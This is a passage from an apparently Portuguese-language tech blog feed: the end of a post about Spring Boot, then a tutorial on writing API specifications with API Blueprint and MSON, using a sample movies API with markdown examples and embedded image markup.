&lt;p&gt;Esse &lt;em&gt;post&lt;/em&gt; foi completamente baseado no curso &lt;a href=&quot;https://www.pluralsight.com/courses/spring-big-picture&quot;&gt;&lt;em&gt;Spring: The Big Picture&lt;/em&gt;&lt;/a&gt;, da plataforma de ensino &lt;a href=&quot;https://www.pluralsight.com/&quot;&gt;&lt;em&gt;Pluralsight&lt;/em&gt;&lt;/a&gt;. Se você quiser dar os seus primeiros passos com &lt;em&gt;Java&lt;/em&gt;
para &lt;em&gt;web&lt;/em&gt;, utilizando &lt;em&gt;Spring&lt;/em&gt;, esse curso é mais do que recomendado.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Spring Boot&lt;/em&gt; é sem dúvida a maneira mais indolor de começar a desenvolver para a &lt;em&gt;web&lt;/em&gt;
utilizando &lt;em&gt;Java&lt;/em&gt;. Comece por ele, e vá customizando o conjunto de dependências e
configurações sempre que necessário.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://spring.io/guides/gs/spring-boot/&quot;&gt;Escreva a sua primeira aplicação em &lt;em&gt;Spring Boot&lt;/em&gt; agora&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.baeldung.com/spring-vs-spring-boot&quot;&gt;Baeldung - A Comparison Between Spring and Spring Boot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/understanding-the-basics-of-spring-vs-spring-boot&quot;&gt;DZone - Understanding the Basics of Spring vs. Spring Boot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pluralsight.com/courses/spring-big-picture&quot;&gt;Pluralsight - Spring: The Big Picture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Programa%C3%A7%C3%A3o_orientada_a_aspecto&quot;&gt;Wikipedia - Programação orientada a aspecto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Spring_Framework&quot;&gt;Wikipedia - Spring Framework&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.zoltanraffai.com/blog/what-is-spring-framework-in-java/&quot;&gt;Zoltán Raffai - Getting started with Java Spring&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[API Blueprint: Markdown é vida!]]></title><description><![CDATA[Estamos falando sobre escrever especificações de APIs
há um bom tempo aqui no blog. RAML,
Swagger e
OpenAPI Specification já foram…]]></description><link>https://klauslaube.com.br/2020/04/05/api-blueprint-markdown-e-vida.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/04/05/api-blueprint-markdown-e-vida.html</guid><pubDate>Sun, 05 Apr 2020 07:40:00 GMT</pubDate><content:encoded>&lt;p&gt;Estamos falando sobre escrever especificações de &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt;
há um bom tempo aqui no &lt;em&gt;blog&lt;/em&gt;. &lt;a href=&quot;/tag/raml.html&quot; title=&quot;Leia mais sobre RAML&quot;&gt;&lt;em&gt;RAML&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;/tag/swagger.html&quot; title=&quot;Leia mais sobre Swagger&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;/tag/oai.html&quot; title=&quot;Leia mais sobre OpenAPI&quot;&gt;&lt;em&gt;OpenAPI Specification&lt;/em&gt;&lt;/a&gt; já foram explorados, e
com os dois últimos encontramos um ecossistema rico com ferramentas extremamente
interessantes.&lt;/p&gt;
&lt;p&gt;Há um outro simpático &lt;em&gt;player&lt;/em&gt; no mercado, o &lt;a href=&quot;https://apiblueprint.org/&quot; title=&quot;Visite a página oficial do projeto&quot;&gt;&lt;em&gt;API Blueprint&lt;/em&gt;&lt;/a&gt;,
e o &lt;em&gt;post&lt;/em&gt; de hoje é sobre essa prática ferramenta.&lt;/p&gt;
&lt;h2&gt;A menor curva de aprendizado do Oeste&lt;/h2&gt;
&lt;p&gt;Um colega de trabalho, há muito tempo atrás, me apresentou o &lt;em&gt;API Blueprint&lt;/em&gt;. Na
ótica dele, um dos aspectos mais interessantes era a escrita utilizando &lt;em&gt;Markdown&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d9895f02d96126045e65f1a5f55eadd5/07f3a/westworld-antony-hopkins.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAEDAgT/xAAVAQEBAAAAAAAAAAAAAAAAAAABAP/aAAwDAQACEAMQAAAB5lmQ1GF//8QAHBAAAgICAwAAAAAAAAAAAAAAAAIBAxESEyEx/9oACAEBAAEFAvCyeR9VLRe3hcn/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAZEAADAAMAAAAAAAAAAAAAAAAAAQIQMXH/2gAIAQEABj8CngjZIlj/xAAcEAACAgIDAAAAAAAAAAAAAAAAAREhMUFhcaH/2gAIAQEAAT8hqbaQmifBJsN4O7URMvJ//9oADAMBAAIAAwAAABBz/wD/xAAWEQADAAAAAAAAAAAAAAAAAAAQEUH/2gAIAQMBAT8QcH//xAAXEQEAAwAAAAAAAAAAAAAAAAABEBEh/9oACAECAQE/EAy4/8QAGhABAQEBAQEBAAAAAAAAAAAAAREAITFRkf/aAAgBAQABPxBCJjMS8FcFI5TIz3DVRb8M0fCnwmS4wVT8wKoRHN//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Antony Hopkins em Westworld&quot;
        title=&quot;É um formato para máquinas? É um formato para humanos? Que diferença faz? (tvguide.com)&quot;
        src=&quot;/static/d9895f02d96126045e65f1a5f55eadd5/07f3a/westworld-antony-hopkins.jpg&quot;
        srcset=&quot;/static/d9895f02d96126045e65f1a5f55eadd5/7809d/westworld-antony-hopkins.jpg 192w,
/static/d9895f02d96126045e65f1a5f55eadd5/4ecad/westworld-antony-hopkins.jpg 384w,
/static/d9895f02d96126045e65f1a5f55eadd5/07f3a/westworld-antony-hopkins.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;É um formato para máquinas? É um formato para humanos? Que diferença faz? (tvguide.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Sim! É verdade! Claro que utilizando o formato/extensão específico há ganhos
como &lt;em&gt;syntax highlighting&lt;/em&gt;, mas ainda assim é possível escrever a especificação de uma &lt;em&gt;API&lt;/em&gt; somente
com &lt;em&gt;Markdown&lt;/em&gt;, o que torna a leitura do documento mais amigável, e interoperável com ferramentas
como o seu editor de textos, ou o próprio &lt;em&gt;Github&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b3654afe467166066f097fd131340a36/50383/api-blueprint-github-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 80.20833333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAABYlAAAWJQFJUiTwAAABn0lEQVQoz5VTiZKcIBTk//9vs5XVmUkUUARFDsEDmbQzW9kkNZuafdVyvOoHTYNk8BOV5ifvOm2VnZVP05o/Q9iuJmy9jVL7wQbi4ip0eCsL6826bltKn2FZ13lZANBAXNaNeB+0Hv0UrZtG4+IMxgOAapyXg1Y96BZk5wNZ17XvByx3vUXO+X1ww38CTBJCLMrT97fi5dtrebqUp/P1uTiKsXMrRNO2jHHKOOO868eKy7pVSptxhER7CHVuNMYcn0USmZQSiTGishWdEII3bQNIzaStxSgH472304zWAc5jIe8nRNq2Y2dMGKVCHDtz3iAopVgNbV3XVc1oq0II/giY5KdjPO35MIfEJVFpWWeU6mkjqlYPGroMDMU+GCgl4Sjmd+UaikeoSfCTTGE+V82PmivZLcvi4v5heM7/OPRn5pAN9ULqC5OVsNOSf5PuvPx3fGRuPcFUua3Sez2ketiWlL9wVThMWRZNwy7nU1kUMP8Lxfue4Y7qh06qphW4vYe8x8XoYpzbTqEYzxVv+EmktJP7+fGnAFCRng6QfwHz75x3f9vf8QAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Como o documento é apresentado pelo Github&quot;
        title=&quot;Como o documento é apresentado pelo Github&quot;
        src=&quot;/static/b3654afe467166066f097fd131340a36/50383/api-blueprint-github-example.png&quot;
        srcset=&quot;/static/b3654afe467166066f097fd131340a36/8514f/api-blueprint-github-example.png 192w,
/static/b3654afe467166066f097fd131340a36/804b2/api-blueprint-github-example.png 384w,
/static/b3654afe467166066f097fd131340a36/50383/api-blueprint-github-example.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Como o documento é apresentado pelo Github&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Para quem já tem um &lt;code class=&quot;language-text&quot;&gt;README.md&lt;/code&gt; em seu repositório, ter um &lt;code class=&quot;language-text&quot;&gt;api.md&lt;/code&gt; não parece ser
nenhum grande sacrifício. E dependendo do seu público alvo, ter a &quot;documentação final gerada&quot;
pode ser tão simples quanto compartilhar o &lt;em&gt;link&lt;/em&gt; da especificação no &lt;em&gt;Github&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Mas o que é API Blueprint mesmo?&lt;/h2&gt;
&lt;p&gt;A documentação oficial o define da seguinte forma:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) is simple and accessible to everybody involved in the API lifecycle. Its syntax is concise yet expressive. With API Blueprint you can quickly design and prototype APIs to be created or document and test already deployed mission-critical APIs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Assim como os já citados &lt;em&gt;RAML&lt;/em&gt; e &lt;em&gt;Swagger&lt;/em&gt;, o &lt;em&gt;API Blueprint&lt;/em&gt; é uma linguagem de &lt;em&gt;design&lt;/em&gt; utilizada para
descrever &lt;em&gt;APIs&lt;/em&gt;. O seu propósito é o de encorajar o diálogo e colaboração, logo, uma ferramenta
mais que ideal para adoção no seu processo de &lt;em&gt;API-First&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para ter os ganhos que citei anteriormente, o &lt;em&gt;API Blueprint&lt;/em&gt; usa um &quot;melhoramento&quot; do &lt;em&gt;Markdown&lt;/em&gt;
chamado de &lt;em&gt;MSON&lt;/em&gt; (&lt;em&gt;Markdown Syntax for Object Notation&lt;/em&gt;). É com essa notação que utilizamos a síntaxe
do &lt;em&gt;Markdown&lt;/em&gt; para descrever estruturas de dados, heranças e recursos.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/apiaryio/mson/blob/master/MSON%20Specification.md&quot; title=&quot;Leia no Github&quot;&gt;Leia a especificação do &lt;em&gt;MSON&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Começando&lt;/h2&gt;
&lt;p&gt;Voltando ao bom e velho exemplo do &lt;a href=&quot;/2016/05/20/rest-parte-2.html&quot; title=&quot;REST: Parte 2&quot;&gt;&lt;em&gt;mini IMDB&lt;/em&gt;&lt;/a&gt;, vamos criar um arquivo &lt;code class=&quot;language-text&quot;&gt;api.md&lt;/code&gt;
e pôr a mão na massa.&lt;/p&gt;
&lt;p&gt;Começamos por definir qual versão do &lt;em&gt;API Blueprint&lt;/em&gt; utilizaremos, bem como descrevendo o nome da &lt;em&gt;API&lt;/em&gt; e seu propósito:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;FORMAT: A1

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; Movies API&lt;/span&gt;

This is an API Blueprint example describing a movies API.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;#&lt;/code&gt;, no &lt;em&gt;Markdown&lt;/em&gt;, é associado a um &quot;título de nível 1&quot;. Ou seja, o &lt;code class=&quot;language-text&quot;&gt;# Movies API&lt;/code&gt; se convertido em &lt;em&gt;HTML&lt;/em&gt; produziria um &lt;code class=&quot;language-text&quot;&gt;&amp;lt;h1&gt;Movies API&amp;lt;/h1&gt;&lt;/code&gt;.
Nesse caso, o &lt;code class=&quot;language-text&quot;&gt;#&lt;/code&gt; produz o título da &lt;em&gt;API&lt;/em&gt;. O &lt;code class=&quot;language-text&quot;&gt;#&lt;/code&gt; também é utilizado para agrupar recursos, mas nesse caso, ele necessita da &lt;em&gt;keyword&lt;/em&gt;
&lt;code class=&quot;language-text&quot;&gt;Group&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;FORMAT: A1

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; Movies API&lt;/span&gt;

This is an API Blueprint example describing a movies API.

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; Group Movies&lt;/span&gt;

Resources related to movies in the API.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Descrevendo recursos&lt;/h2&gt;
&lt;p&gt;O próximo passo é descrever o recurso e seus &lt;em&gt;endpoints&lt;/em&gt;. Começaremos pelo
&lt;em&gt;endpoint&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;. Para descrever o recurso, utilizamos o &lt;code class=&quot;language-text&quot;&gt;##&lt;/code&gt;, já a ação
é representada através de 3 &lt;em&gt;hashtags&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;###&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;(...)

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; Movie collection [/movies]&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; List all Movies [GET]&lt;/span&gt;

List movies in reverse order of publication.

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Response 200 (application/json)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quando o recurso &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt; receber uma requisição &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt;, ele responderá com
o &lt;em&gt;status code&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;200&lt;/code&gt;, e com o &lt;code class=&quot;language-text&quot;&gt;content-type&lt;/code&gt; &lt;code class=&quot;language-text&quot;&gt;application/json&lt;/code&gt;. Essa última
parte é descrita através da linha &lt;code class=&quot;language-text&quot;&gt;+ Response 200 (application/json)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1ccb40308c7e420169072dffda7afd73/50383/api-blueprint-resource-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 65.625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAABYlAAAWJQFJUiTwAAABT0lEQVQoz41Su3KDMBDUZ+b30qdNnyK148J2YjswGPOQBJJ4GJDQKweeNJ4Ee+dGBbplb3WLGGOU0qIomqYhhPR97x8GatuWcw40IURd10opM8Naq7V2zi2RgQA00C9mpGmaz4BxMMZSSuDbf4DKsgyCIIoiYMIUMPz1rO8B2hD0YUKzPBd8GhssMM7h4zAM/SKgAXHGTsEhiaP9fo9xDooV5+AcLC0bhlvEm8vr6rgO0zjLyuZyMb7RthltPZq/S5lKGaHMoC0ivX56+Xpek7xku5xt2LDhw5YPOyFvaivkZyU/aP+etG/nlnQjUlpnhMRJmhKaYJJikuT4dE46qYz3IyzMuZsyzms3XaFR6+8gOB4O13i4GX7R7dTmPSQBSWPjqisohZU+nq1JfFI2JgxDWBUs3N0T/H1nX3RaGYtAHQIJv9CQycnPQ6WtA+IPmYzsKtvi320AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de representação do endpoint&quot;
        title=&quot;Exemplo de representação do endpoint&quot;
        src=&quot;/static/1ccb40308c7e420169072dffda7afd73/50383/api-blueprint-resource-example.png&quot;
        srcset=&quot;/static/1ccb40308c7e420169072dffda7afd73/8514f/api-blueprint-resource-example.png 192w,
/static/1ccb40308c7e420169072dffda7afd73/804b2/api-blueprint-resource-example.png 384w,
/static/1ccb40308c7e420169072dffda7afd73/50383/api-blueprint-resource-example.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de representação do endpoint&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Podemos também descrever como será o &lt;em&gt;payload&lt;/em&gt; dessa resposta.&lt;/p&gt;
&lt;h2&gt;Descrevendo os dados&lt;/h2&gt;
&lt;p&gt;É possível utilizar &lt;a href=&quot;https://json-schema.org/&quot; title=&quot;A vocabulary that allows you to annotate and validate JSON documents&quot;&gt;&lt;em&gt;JSON Schema&lt;/em&gt;&lt;/a&gt;
para descrever o &lt;em&gt;payload&lt;/em&gt; de requisições e respostas. Como ilustrado nesse exemplo tirado da documentação oficial:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; Create a New Question [POST]&lt;/span&gt;

You may create your own question using this action. It takes a JSON object
containing a question and a collection of answers in the form of choices.

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Request (application/json)

  &lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Body

&lt;span class=&quot;token code keyword&quot;&gt;          {
            &quot;question&quot;: &quot;Favourite language?&quot;
            &quot;choices&quot;: [
              &quot;Swift&quot;,
              &quot;Objective-C&quot;
            ]
          }&lt;/span&gt;

  &lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Schema

&lt;span class=&quot;token code keyword&quot;&gt;          {
            &quot;$schema&quot;: &quot;http://json-schema.org/draft-04/schema#&quot;,
            &quot;type&quot;: &quot;object&quot;,
            &quot;properties&quot;: {
              &quot;question&quot;: {
                &quot;type&quot;: &quot;string&quot;
              },
              &quot;choices&quot;: {
                &quot;type&quot;: &quot;array&quot;,
                &quot;items&quot;: {
                  &quot;type&quot;: &quot;string&quot;
                },
                &quot;minItems&quot;: 2
              }
            }
          }&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;JSON Schema&lt;/em&gt; é um vocabulário poderoso para anotar e validar documentos &lt;em&gt;JSON&lt;/em&gt;. No entanto, ele pode &quot;destoar&quot; do resto do seu documento.&lt;/p&gt;
&lt;p&gt;Há uma alternativa utilizando o próprio &lt;em&gt;MSON&lt;/em&gt;. Através da seção &lt;code class=&quot;language-text&quot;&gt;## Data structure&lt;/code&gt;, conseguimos algo semelhante com o ilustrado acima.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;(...)

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; Data structures&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; Movie&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; id: 810b43d0-fc0d-4199-8a79-25b471c880bf (string, required)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; title: Avengers: Endgame (string, required)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; description (string)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Descrevemos a estrutura &lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt;, informando o seu &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; (&lt;code class=&quot;language-text&quot;&gt;string&lt;/code&gt; e obrigatória),
&lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;. Note que este último, além de não ser obrigatório, não
possui nenhum exemplo informado (como os dois outro campos).&lt;/p&gt;
&lt;p&gt;Para associar a estrutura acima com a resposta de &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;, utilizamos
&lt;code class=&quot;language-text&quot;&gt;Attributes&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;(...)

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; List all Movies [GET]&lt;/span&gt;

List movies in reverse order of publication.

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Response 200 (application/json)

  &lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Attributes (array[Movie])

(...)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com ajuda do tipo &lt;code class=&quot;language-text&quot;&gt;array&lt;/code&gt;, descrevemos o &lt;em&gt;payload&lt;/em&gt; da resposta do &lt;em&gt;endpoint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5419a6bd7d33f1938a995e924d60cc45/50383/api-blueprint-data-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 132.8125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAbCAIAAADzvTiPAAAACXBIWXMAABYlAAAWJQFJUiTwAAACdklEQVQ4y5VUyW7bMBDV//U3e++55wI9tYcUadLYQVTHWrlvorhJ6lCxA6ON7ebpYUBJGM7M43AKhFC3QgjRtq33fvlvFEopQghswTmHtTHGWjuuGIZhmqZLzhAQ3DDGaEXTNJBF3/cvOzrnwD+dQQGpPj097XY72AKi2RUQX6+Q5wFpFozzummBlBJKKUIYHqX1OLpj+n/DrgQUBPWo+l3vn8uy5IwaJZUQMYSras3zXJQd/fRt+6Osy31NB6emRaaF+4m59CbpmHobgSak4ns3fPj48/Mj7Rl7wOqO+3vu7gXYN/hL+Bsyfq31l0rvtS9G70Hptu9bhOuuaxGqmnZf19Z5OKU0n2WY5kJbe3N7t9lsvHMvpRx4DQlqNjE1QuO+jzEu70F2BtEft9sWjoqQHBieAy+B2TiAYD4EREh4Z9hDZBcC3lcG45ELrYU0VAE1hTZzDnQ4iwDtGVPyUg2EGESkIEz2QhEukTEKOsyeh48xH5WQcnk/ctqjc4xSuMZuhCzDmhH0NXwe3UXktKFmuCIaLolWUkK1YhisHUbgcBE+xAJS18aI54o3Td09PDe3hNWY7Qmr4F5ecw5BwNWsal3uwBLoUVJ2uGzRo9YKsrgSGVbWjTnTrOL4yitpg9pQM0ycsM69OWM64SWkaSqcD5Qxn9I0L1Oap+kfpjwFgTC04ikSOIcIfaWrWvSI8I6whrIWLKZ1tqxmvMesQnSvlDRHgMa5ZnCG2SnuN6xvG7RlvBOScoG5xNkKLBW8Ii76rJ8xr3xRO+ZJHSO0GpQwOqDP9rA+vMIv65w9Tj9giKnIsoBU00Gr4yg4UWx5/bWcEr78AeZbE7sgHKoqAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de representação do payload&quot;
        title=&quot;Exemplo de representação do payload&quot;
        src=&quot;/static/5419a6bd7d33f1938a995e924d60cc45/50383/api-blueprint-data-example.png&quot;
        srcset=&quot;/static/5419a6bd7d33f1938a995e924d60cc45/8514f/api-blueprint-data-example.png 192w,
/static/5419a6bd7d33f1938a995e924d60cc45/804b2/api-blueprint-data-example.png 384w,
/static/5419a6bd7d33f1938a995e924d60cc45/50383/api-blueprint-data-example.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de representação do payload&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;No fim das contas, um &lt;em&gt;JSON body&lt;/em&gt; e &lt;em&gt;JSON Schema&lt;/em&gt; é gerado através dos
atributos &lt;em&gt;MSON&lt;/em&gt;. Por isso do bloco &lt;code class=&quot;language-text&quot;&gt;Schema&lt;/code&gt;, exibido na imagem acima.&lt;/p&gt;
&lt;p&gt;Visite o &lt;a href=&quot;https://apiblueprint.org/documentation/tutorial.html&quot; title=&quot;Tutorial com demais verbos&quot;&gt;tutorial do &lt;em&gt;API Blueprint&lt;/em&gt;&lt;/a&gt;
e veja como aplicar a especificação para os demais verbos &lt;em&gt;HTTP&lt;/em&gt;.&lt;/p&gt;
